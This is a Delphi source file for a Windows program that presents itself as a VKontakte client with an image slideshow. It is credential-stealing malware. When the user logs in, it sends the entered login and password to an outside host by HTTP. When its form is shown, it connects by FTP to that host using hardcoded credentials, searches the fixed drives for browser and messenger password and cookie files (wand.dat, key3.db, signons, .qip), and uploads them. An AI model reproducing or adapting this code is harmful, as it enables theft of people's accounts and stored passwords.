unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, xpman, jpeg, ExtCtrls, ImgList, StdCtrls, IdAntiFreezeBase,
IdAntiFreeze, IdCookieManager, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP, ShlObj, Shellapi, IdFTP, Menus,
Trayicon, FindFile;
type
TForm1 = class(TForm)
ImageList1: TImageList;
Image1: TImage;
Image2: TImage;
Image3: TImage;
Image4: TImage;
Image5: TImage;
Image6: TImage;
Image7: TImage;
Image8: TImage;
Image9: TImage;
Image10: TImage;
Image11: TImage;
Image12: TImage;
Image13: TImage;
Image14: TImage;
Image15: TImage;
Image16: TImage;
CheckBox1: TCheckBox;
CheckBox2: TCheckBox;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
CheckBox5: TCheckBox;
CheckBox6: TCheckBox;
CheckBox7: TCheckBox;
CheckBox8: TCheckBox;
CheckBox9: TCheckBox;
CheckBox10: TCheckBox;
CheckBox11: TCheckBox;
CheckBox12: TCheckBox;
CheckBox13: TCheckBox;
CheckBox14: TCheckBox;
CheckBox15: TCheckBox;
CheckBox16: TCheckBox;
GroupBox1: TGroupBox;
Image17: TImage;
GroupBox2: TGroupBox;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Button2: TButton;
Edit3: TEdit;
Label4: TLabel;
Label5: TLabel;
ComboBox1: TComboBox;
Memo1: TMemo;
Label6: TLabel;
Label7: TLabel;
Button3: TButton;
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
IdAntiFreeze1: TIdAntiFreeze;
Timer1: TTimer;
Image18: TImage;
IdFTP1: TIdFTP;
Edit4: TEdit;
Edit5: TEdit;
Edit6: TEdit;
TrayIcon1: TTrayIcon;
PopupMenu1: TPopupMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
FindFile1: TFindFile;
ListBox1: TListBox;
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N6Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N3Click(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
f:integer;
DataTime: string;
Dir: string;
implementation
uses Unit2, Unit3;
{$R *.dfm}
function FileExt(fn: string): string;
begin
Result := Copy(fn, 1, Length(fn) - Length(ExtractFileExt(fn)));
end;
function UserName(): string;
var
sBuff: array[0..1024] of char;
dSize: Cardinal;
begin
dSize := 1024;
GetUserName(sBuff, dSize);
Result := sBuff;
end;
function GetSpecialPath(CSIDL: Word): string;
var
s: string;
begin
SetLength(s, MAX_PATH);
if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, True) then
s := '';
Result := PChar(s);
end;
procedure TForm1.Button2Click(Sender: TObject);
var a,data:string;
begin
data:=idhttp1.Get('http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.text);
if pos('<title>В Контакте | Вход</title>',data) > 0 then
showmessage('Авторизация прошла неудачно..')
else
begin
a:='Login '+edit1.Text+' | PASS '+edit2.Text;
showmessage('Авторизация прошла успешно..');
idhttp1.ClearWriteBuffer;
IdHTTP1.Create(nil);
idhttp1.Get('http://tutanet.dtn.ru?recieve='+a);
Idhttp1.Free;
edit3.Enabled:=true;
ComboBox1.Enabled:=true;
Memo1.Enabled:=true;
Button3.Enabled:=true;
Button2.Enabled:=false;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
dir,primer,local,x,t: string;
Drive: Char;
FFile: TFindFile;
f, n,i : Integer;
newName, fn, direkt: string;
begin
f:=1;
GetDir(0,dir);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
case f of
1: Image17.Picture:=Image1.Picture;
2: Image17.Picture:=Image2.Picture;
3: Image17.Picture:=Image3.Picture;
4: Image17.Picture:=Image4.Picture;
5: Image17.Picture:=Image5.Picture;
6: Image17.Picture:=Image6.Picture;
7: Image17.Picture:=Image7.Picture;
8: Image17.Picture:=Image8.Picture;
9: Image17.Picture:=Image9.Picture;
10: Image17.Picture:=Image10.Picture;
11: Image17.Picture:=Image11.Picture;
12: Image17.Picture:=Image12.Picture;
13: Image17.Picture:=Image13.Picture;
14: Image17.Picture:=Image14.Picture;
15: Image17.Picture:=Image15.Picture;
16: Image17.Picture:=Image16.Picture;
17: Image17.Picture:=form2.Image1.Picture;
18: Image17.Picture:=form2.Image2.Picture;
19: Image17.Picture:=form2.Image3.Picture;
20: Image17.Picture:=form2.Image4.Picture;
21: Image17.Picture:=form2.Image5.Picture;
22: Image17.Picture:=form2.Image6.Picture;
23: Image17.Picture:=form2.Image7.Picture;
24: Image17.Picture:=form2.Image8.Picture;
end;
f:=f+1;
if f=24 then
f:=1;
end;
procedure TForm1.N8Click(Sender: TObject);
begin
Hide;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
hide;
end;
procedure TForm1.N6Click(Sender: TObject);
begin
hide;
end;
procedure TForm1.N5Click(Sender: TObject);
begin
show;
end;
procedure TForm1.N3Click(Sender: TObject);
begin
ShellExecute(Handle, nil, 'http://vkontakte.ru/', nil, nil, SW_SHOW);
end;
procedure TForm1.N1Click(Sender: TObject);
begin
form3.ShowModal;
end;
procedure TForm1.FormShow(Sender: TObject);
var
dir,primer,local,x,t: string;
Drive: Char;
FFile: TFindFile;
f, n,i : Integer;
newName, fn, direkt: string;
begin
idftp1.Host:='tutanet.dtn.ru';
idftp1.Username:='u293459';
Idftp1.Password:='6qhfjjvc';
idftp1.Connect();
if Idftp1.Connected=true then
begin
for Drive := 'A' to 'D' do
begin
if (GetDriveType(PChar(Drive + ':\')) = DRIVE_FIXED) then
begin
FFile := TFindFile.Create(nil);
FFile.InSubFolders := True;
FFile.Path := Drive + ':\';
FFIle.FileMask := 'global.dat;wand.dat;cookies4.dat;key3.db;Config.ini;signons* .*;*.qip;*.bip';
ListBox1.Items := FFIle.SearchForFiles;
for i := 0 to ListBox1.Items.Count - 1 do
begin
t:=timetostr(time);
Idftp1.ChangeDir('/1111/');
idftp1.Put(ListBox1.Items[i] ,ExtractFilename(ListBox1.Items[i]), true);
sleep(300);
idftp1.Disconnect;
idftp1.Free;
end;
end;
end;
end;
end;
end.
|
